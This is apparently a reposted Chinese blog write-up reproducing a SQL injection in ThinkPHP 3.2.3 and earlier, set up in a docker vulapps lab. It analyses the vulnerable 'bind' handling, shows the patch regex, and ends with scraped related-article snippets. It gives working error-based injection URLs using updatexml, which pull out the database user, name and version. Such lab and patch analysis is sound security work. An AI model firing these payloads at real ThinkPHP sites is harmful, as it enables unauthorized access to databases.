ref:ThinkPHP Builder.php SQL注入漏洞(= 3.2.3)
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)
ref:https://www.jianshu.com/p/18d06277161e
ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业
-------------------------------------------------------------
这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))
category是数组:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"
出错堆栈信息:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...')。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute('UPDATE `vulapps...', false)
UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = '1' and(updatexml(1,concat(0x7e,(user())),0))//尽管前面为false,但是后面任然要执行。此次报错:XPATH syntax error: '~root@localhost'。
/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql语句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))
漏洞代码:
protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,则exp=bind
}elseif('bind' == $exp ){ //
$whereStr .= $key.' = :'.$val[1];//$whereStr.=category=:0 and (updatexml...)此处将:0拼接进去,为后面pdo参数替换制造了机会。
这里可以看出来如果where是一个数组的话,并且第一个元素为bind,那么直接就进行了拼接操作,分析到这里我们看看I函数的过滤限制并没有将bind排除。
#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }
#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition['category'] = I("category");
$data['is_read'] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition['category'])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }
#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):
补丁方法:在I函数增加bind过滤。
function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}
-------------------------------------------------------------
漏洞环境:docker
漏洞分析
首先,我们知道insert 方法存在漏洞,那就查看 insert 方法的具体实现。
该方法位于thinkphp\library\think\db\Builder.php 文件中,我们可以看到在函数开头调用了 parseData 方法,并将 $data 作为参数传入, $data 的值是我们通过 get方式传入的一个数组类型的数据,如下图:
我们跟进parseData方法,该方法也在 thinkphp\library\think\db\Builder.php 文件中。
可以看到,在结尾处有个switch语句,而且进入该语句后,会跳到case 'inc'的地方,这里关键就是看看 $this->parseKey 是否有对 $val[1] 变量进行过滤了;
因为$val[1]变量就是我们payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下图:
继续跟进parseValue 方法,会发现直接将传入的 $key 返回了,没有进行任何过滤。
我们再回到最开始的insert 方法,加上调试语句,看看此时的sql语句变成了什么样子,如下图:
另一处update函数的注入与这个insert是类似的。
使用docker搭建漏洞环境
1.拉取镜像到本地
docker pull medicean/vulapps:t_thinkphp_1
2.启动环境
docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1
-p 80:80 前面的 80 代表物理机的端口,可随意指定。
使用和利用
访问 http://192.168.0.104:80/, 假设启动的端口号为 80
出现下图环境搭建成功了
点击标记已读:可以使用burp抓包得到URL
http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
POC:
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))
使用上面POC可直接获取到数据库用户名
爆出数据库用户名:root@localhost
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))
通过database(),报错回显一个数据库:vulapps
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))
爆出数据库版本:5.5.57-0ubuntu0.14.04.1
网上找了些资料,但还是对这个不是很懂,本来想构造一个语句看看是否能获取到数据库中的账户和密码,结果发现无法使用(尴尬..)
对上面的这段POC不算很懂,只能看出大概就是通过user()这里修改可以获取到数据库用户和版本
参考资料:
https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA
https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA
转载于:https://www.cnblogs.com/studyskill/p/9013239.html
ref:ThinkPHP Builder.php SQL注入漏洞(= 3.2.3)相关推荐
- thinkphp日志泄漏漏洞_ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...
ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入" ...
- 测试php框架漏洞,ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...
作者: seay 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商不要再 ...
- /plus/recommend.php sql注入漏洞,代码审计:ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法 | Seay 渗透 编程 代码审计 网络安全博客...
显示不全请点击全屏阅读 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商 ...
- 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅
事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...
- 易想团购 注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...
刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...
- Laravel 存在SQL注入漏洞
Laravel 存在SQL注入漏洞 漏洞描述: 该漏洞存在于Laravel的表单验证功能,漏洞函数为ignore(),漏洞文件位于/vendor/laravel/ramework/src/Illumi ...
- 74CMS(骑士CMS) 存在SQL注入漏洞(CNVD-2021-43389)
文章目录 74CMS(骑士CMS) 存在SQL注入漏洞(CNVD-2021-43389) 1.74CMS(骑士CMS)简介 2.漏洞描述 3.影响版本 4.fofa查询语句 5.漏洞复现 6.POC& ...
- SQL注入漏洞的检测与防范技术
提 要 本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词 SQL注入漏洞 检测 防范技术 引 言 近几年来随着计算机网络和WEB技术的飞速 ...
- Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)
漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697mod_accounting是Apache 1.3.x上的流 ...
最新文章
- 美团(Leaf)分布式ID生成器,好用的一批!
- STK 卫星覆盖分析笔记
- 从安全视角对机器学习的部分思考
- Ansible管理节点过多导致的超时问题解决方法
- .sql文件_面试题:mybatis 中的 DAO 接口和 XML 文件里的 SQL 是如何建立关系的?
- 卷积输出的记录,为什么是([3, 0, 1, 2])
- 【SpringMVC】SpringMVC基础-SpringMVC项目快速搭建、日志框架为logback
- 第二章 变量和基本类型
- 两个必备小本领——恢复设备出厂配置、如何配置web方式登陆交换机
- dpf linux安装db2_值得一看!数据库及Mysql入门,附详细安装教程
- 应该怎样读TAOCP
- 马克思主义基本原理概论第一章笔记
- re- 正则表达操作
- 七日之都账号服务器,永远的7日之都开服时间一览表 7日之都最新服务器开服时间一览...
- react中的 .d.ts
- Java 类详解 9章
- pyppeteer和selenium远程操控浏览器
- Android Studio 线性布局Linearlayout的控件位置控制l属性Layout_margin失效问题解决
- 萝卜书摘显示服务器正在维护,萝卜书摘
- Java循环控制语句